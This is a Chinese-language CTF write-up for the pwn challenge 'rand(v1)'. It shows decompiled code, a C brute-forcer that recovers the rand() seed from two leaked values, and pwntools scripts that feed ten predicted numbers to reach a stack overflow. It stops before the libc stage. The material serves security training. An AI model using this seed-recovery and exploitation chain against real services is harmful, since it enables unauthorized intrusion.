前言

前面提到了伪随机数校验,这里讲下如果是真随机怎么爆破和怎么执行c语言代码

[nssround#6 team]rand(v1)

以这道题为例子,别的不说了,就重点说怎么绕过随机数

IDA查看

代码的意思就是从文件中读取8个字节为种子,然后将第一个申城的随机数给到v7,没什么用,然后是将第二个随机数开始验证,我们要使v13不断增加到10,使其进入if条件,然后就是进行栈溢出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-2Ch] BYREF
int v5; // [rsp+8h] [rbp-28h]
char v6[4]; // [rsp+Ch] [rbp-24h] BYREF
int v7; // [rsp+10h] [rbp-20h]
_BYTE buf[8]; // [rsp+14h] [rbp-1Ch] BYREF
int v9; // [rsp+1Ch] [rbp-14h]
int fd; // [rsp+20h] [rbp-10h]
int i; // [rsp+24h] [rbp-Ch]
int v12; // [rsp+28h] [rbp-8h]
int v13; // [rsp+2Ch] [rbp-4h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
fd = open("/dev/urandom", 0);
v12 = 0;
v13 = 0;
if ( fd == -1 )
putchar(63);
read(fd, buf, 8u);
close(fd);
srand((unsigned int)buf);
v5 = rand();
v7 = v5;
puts("NSSCTF Round#6 Team.");
puts("Let's play a gamble game.");
for ( i = 0; i <= 99; ++i )
{
__isoc99_scanf("%d", &v4);
v9 = rand();
if ( v9 == v4 )
{
++v13;
puts("Bingo.");
}
else
{
printf("No, the correct number is: %d\n", v9);
v13 = 0;
}
if ( v13 == 10 )
{
v12 = 1;
break;
}
}
if ( v12 == 1 )
{
puts("Bingo. leave ur name to us. plz");
while ( getchar() != 10 )
;
read(0, v6, 0x50u);
puts(v6);
}
if ( v5 != v7 )
{
puts("Why u be hacker.");
exit(-1);
}
return 0;
}

破解

所以关键就是如何破解这个随机数,这里用到一种方法,因为只有8个字节,那么我们只需要让种子从0x1开始一直增加到0xffffffff,然后就是通过生成的两个随机数进行验证就好了,就是可能运行时间要久一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<stdlib.h>
int main(int argc,char *argv[]){
int leak1=atoi(argv[1]);
int leak2=atoi(argv[2]);
for (unsigned int seed=0; seed<=0xffffffff; seed++) {
srand(seed);
int v5=rand();
int v9_1=rand();
int v9_2=rand();
if (v9_1==leak1&&v9_2==leak2) {
printf("%d\n",v5);
for (int i=0; i<10; i++) {
printf("%d\n",rand());
}
break;
}
}
return 0;
}

然后就是执行和获取c代码的数据

1
gcc 1.c -o 1
1
2
3
result = subprocess.check_output(
['/home/voyager/1', leak1, leak2]).decode().strip().split("\n")
#subprocess.check_out是获取其二进制输出,decode()是将其转换为字符串,strip()是去掉空格和换行,split("\n")是按“\n”来分割成列表

获取leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import*
context(arch = "amd64", os = "linux",log_level = "debug")

#r = remote("node7.anna.nssctf.cn", 21888)
r=process("./flag")
elf=ELF("./flag")
r.recvuntil(b"Let's play a gamble game.\n")
r.sendline(str(1))
r.recvuntil(b"No, the correct number is: ")
leak1=r.recvuntil(b"\n").decode()
print(leak1)
r.sendline(str(1))
r.recvuntil(b"No, the correct number is: ")
leak2=r.recvuntil(b"\n").decode()
print(leak2)
gdb.attach(r)
r.interactive()

运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import*
context(arch = "amd64", os = "linux",log_level = "debug")

#r = remote("node7.anna.nssctf.cn", 21888)
r=process("./flag")
elf=ELF("./flag")
r.recvuntil(b"Let's play a gamble game.\n")
r.sendline(str(1))
r.recvuntil(b"No, the correct number is: ")
leak1=r.recvuntil(b"\n").decode()
print(leak1)
r.sendline(str(1))
r.recvuntil(b"No, the correct number is: ")
leak2=r.recvuntil(b"\n").decode()
print(leak2)
result = subprocess.check_output(['/home/voyager/1', leak1, leak2]).decode().strip().split("\n")
print(result)

v5 = int(result[0])
numbers=[int(x) for x in result[1:]] #去掉v5
for i in range(10):
r.sendline(str(numbers[i]).encode())
r.recvuntil(b'Bingo.\n')



gdb.attach(r)
r.interactive()

可以看到成功进去了,然后就是正常的打libc攻击

1773580031819